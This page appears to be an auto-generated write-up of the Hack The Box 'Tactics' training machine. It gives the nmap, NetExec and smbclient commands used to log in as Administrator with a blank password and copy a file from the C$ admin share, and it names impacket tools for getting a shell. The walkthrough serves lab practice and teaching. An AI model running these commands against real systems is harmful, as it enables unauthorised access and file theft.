Tactics
Target blocks ICMP, so -Pn is required. Result: Ports 135 (MSRPC), 139 (NetBIOS), 445 (SMB) open. Windows Server 2019. Null session denied. Tried Administrator with blank password: <redacted> [+] Tactics\Administrator: (Pwn3d!) -- Full admin access with blank...
Scenario
Tactics attack path
Target blocks ICMP, so -Pn is required. Result: Ports 135 (MSRPC), 139 (NetBIOS), 445 (SMB) open. Windows Server 2019. Null session denied. Tried Administrator with blank credential: [+] Tactics\Administrator: (Pwn3d!) -- Full admin access with blank...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Only SMB services exposed (135, 139, 445)
Administrator account has blank credential
Full read/write to C$ and ADMIN$ shares
proof located at...
Source coverage
Moderate source coverage
Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.
- <TARGET>-Tactics/walkthrough.md
- HTB/<TARGET>-Tactics/notes.md
Technical Walkthrough
Tactics - Walkthrough
Overview
| Field | Value |
|---|---|
| Target | <TARGET> |
| Name | Tactics |
| OS | Windows 10 / Server 2019 Build 17763 |
| Difficulty | Easy (Starting Point) |
| Flag | <hash redacted> |
| Time to Solve | ~5 minutes |
Attack Path
SMB Anonymous Enum Failed โ Administrator Blank Password โ C$ Share Access โ FlagStep 1: Port Scan
Target blocks ICMP, so -Pn is required.
nmap -Pn -sC -sV --min-rate 3000 <TARGET>Result: Ports 135 (MSRPC), 139 (NetBIOS), 445 (SMB) open. Windows Server 2019.
Step 2: SMB Enumeration
Null session denied. Tried Administrator with blank password:
netexec smb <TARGET> --shares -u 'Administrator' -p ''Result: [+] Tactics\Administrator: (Pwn3d!) -- Full admin access with blank password.
Shares: ADMIN$ (RW), C$ (RW), IPC$ (R)
Step 3: Flag Retrieval
smbclient //<TARGET>/C$ -U 'Administrator%' -c 'cd Users\Administrator\Desktop; get flag.txt /tmp/flag.txt'Flag: <hash redacted>
Lessons Learned
- Always try Administrator with blank password on Windows Easy boxes
- Use
-Pnwhen ICMP is blocked (host appears down but services respond) - NetExec is the fastest way to validate SMB credentials and enumerate shares
- The "Tactics" name hints at tactical/quick enumeration approaches
Alternative Paths
- Could also use
impacket-psexecorimpacket-wmiexecfor shell access impacket-smbclientworks equally well for share browsing- WinRM was not exposed, so Evil-WinRM was not an option here
Source-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Scope
- Target: <TARGET> (Tactics)
- OS: Windows 10 / Server 2019 Build 17763
- Difficulty: Easy (Starting Point)
- Attacker IP: <TARGET> (Pwnbox)
- Date: 2026-05-05
Recon
Nmap (Initial - TCP)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?- SMB signing: enabled but NOT required
- Hostname: TACTICS, Domain: Tactics
SMB Enumeration
- Null session:
<secret redacted> - Administrator with blank password: SUCCESS (Pwn3d!)
- Shares accessible: ADMIN$ (RW), C$ (RW), IPC$ (R)
Synthesis
- Only SMB services exposed (135, 139, 445)
- Administrator account has blank password
- Full read/write to C$ and ADMIN$ shares
- Flag located at
C:\Users\Administrator\Desktop\flag.txt
Exploitation
- Connected to C$ share as Administrator with blank password
- Retrieved flag from Administrator Desktop
Flag
<hash redacted>Credentials
| Username | Password | Access |
|---|---|---|
| Administrator | (blank) | Full admin - SMB C$/ADMIN$ |
Commands Used
# Nmap scan
nmap -Pn -sC -sV --min-rate 3000 <TARGET>
# SMB enum with NetExec
netexec smb <TARGET> --shares -u 'Administrator' -p ''
# Flag retrieval
smbclient //<TARGET>/C$ -U 'Administrator%' -c 'cd Users\Administrator\Desktop; get flag.txt /tmp/flag.txt'